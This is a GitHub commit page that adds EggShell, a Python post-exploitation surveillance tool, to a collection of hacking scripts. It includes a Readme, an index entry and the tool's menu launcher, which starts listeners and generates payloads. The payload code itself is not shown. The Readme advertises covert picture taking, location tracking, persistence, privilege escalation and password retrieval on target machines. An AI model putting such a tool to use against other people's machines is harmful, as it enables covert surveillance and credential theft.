Skip to content

Commit 73f3e99

Browse files
committed
EggShell python scrpt
1 parent 6f86819 commit 73f3e99

3 files changed

Lines changed: 142 additions & 1 deletion

File tree

EggShell/Readme.md

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
# EggShell
2+
3+
4+
EggShell is a post exploitation surveillance tool written in Python. It gives you a command line session with extra functionality between you and a target machine. EggShell gives you the power and convenience of uploading/downloading files, tab completion, taking pictures, location tracking, shell command execution, persistence, escalating privileges, password retrieval, and much more. This is project is a proof of concept, intended for use on machines you own.
5+

EggShell/eggshell.py

Lines changed: 135 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,135 @@
1+
from modules import server
2+
from modules import helper as h
3+
import sys, os
4+
5+
6+
#banner
7+
class EggShell:
8+
def __init__(self):
9+
h.generate_keys()
10+
self.server = server.Server()
11+
if len(sys.argv) == 2 and sys.argv[1] == "debug":
12+
self.server.debug = True
13+
else:
14+
self.server.debug = False
15+
self.payloads = self.import_payloads()
16+
self.banner_text = h.GREEN+""" `"""+h.COLOR_INFO+"""
17+
18+
"""+h.WHITE+"\nVersion: 3.1.1\n"+h.ENDC
19+
self.main_menu_text = h.WHITE+"-"*40+"\n"+"""Menu:\n
20+
1): Start Server
21+
2): Start MultiHandler
22+
3): Create Payload
23+
4): Exit
24+
""" + "\n"+h.NES
25+
26+
27+
# Actions
28+
def print_payload(self,payload,number_option):
29+
print " " * 4 + str(number_option) + "): " + payload.name
30+
31+
32+
def start_single_server(self):
33+
if not self.server.set_host_port():
34+
return
35+
self.server.start_single_handler()
36+
37+
38+
def start_multi_handler(self):
39+
if not self.server.set_host_port():
40+
return
41+
self.server.start_multi_handler()
42+
43+
44+
def prompt_run_server(self):
45+
if raw_input(h.NES+"Start Server? (Y/n): ") == "n":
46+
return
47+
else:
48+
if raw_input(h.NES+"MultiHandler? (y/N): ") == "y":
49+
self.server.start_multi_handler()
50+
else:
51+
self.server.start_single_handler()
52+
53+
54+
def import_payloads(self):
55+
path = "modules/payloads"
56+
sys.path.append(path)
57+
modules = dict()
58+
for mod in os.listdir(path):
59+
if mod == '__init__.py' or mod[-3:] != '.py':
60+
continue
61+
else:
62+
m = __import__(mod[:-3]).payload()
63+
modules[m.name] = m
64+
return modules
65+
66+
67+
def exit_menu(self):
68+
exit()
69+
70+
71+
def choose_payload(self):
72+
print h.WHITE+"-"*40+h.ENDC
73+
print "Payloads:\n"
74+
number_option = 1
75+
for key in self.payloads:
76+
payload = self.payloads[key]
77+
self.print_payload(payload,number_option)
78+
number_option += 1
79+
print ""
80+
while 1:
81+
try:
82+
# choose payload
83+
option = raw_input(h.info_general_raw("Choose an payload> "))
84+
if not option:
85+
continue
86+
selected_payload = self.payloads[self.payloads.keys()[int(option) - 1]]
87+
# set host and port
88+
self.server.set_host_port()
89+
# generate payload
90+
selected_payload.run(self.server)
91+
#run
92+
self.prompt_run_server()
93+
break
94+
except KeyboardInterrupt:
95+
break
96+
except Exception as e:
97+
print e
98+
break
99+
100+
101+
def menu(self,err=""):
102+
while 1:
103+
try:
104+
h.clear()
105+
if err:
106+
print err
107+
if self.server.debug:
108+
print "Debug On"
109+
sys.stdout.write(self.banner_text)
110+
option = raw_input(self.main_menu_text)
111+
choose = {
112+
"1" : self.start_single_server,
113+
"2" : self.start_multi_handler,
114+
"3" : self.choose_payload,
115+
"4" : self.exit_menu
116+
}
117+
try:
118+
choose[option]()
119+
self.menu()
120+
except KeyError:
121+
if option:
122+
self.menu("Oops: " + option + " is not an option")
123+
else:
124+
self.menu()
125+
except KeyboardInterrupt:
126+
continue
127+
# TODO: quit socket listener
128+
except KeyboardInterrupt:
129+
print "\nBye!"
130+
exit()
131+
132+
133+
if __name__ == "__main__":
134+
eggshell = EggShell()
135+
eggshell.menu()

SCRIPTS.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -74,4 +74,5 @@
7474
| [Take me](./dotdotslash/)
7575
| 50\. | HackerEnv | hackerEnv is an automation tool that quickly and easily sweep IPs and scan ports, vulnerabilities and exploit them. Then, it hands you an interactive shell for further testing. Also, it generates HTML and docx reports. It uses other tools such as nmap, nikto, metasploit and hydra. Works in kali linux and Parrot OS.
7676
| [Take me](./hackerenv/)
77-
77+
| 51\. | EggShell | EggShell is a post exploitation surveillance tool written in Python. It gives you a command line session with extra functionality between you and a target machine. EggShell gives you the power and convenience of uploading/downloading files, tab completion, taking pictures, location tracking, shell command execution, persistence, escalating privileges, password retrieval, and much more. This is project is a proof of concept, intended for use on machines you own.
78+
| [Take me](./EggShell/)

0 commit comments

Comments
 (0)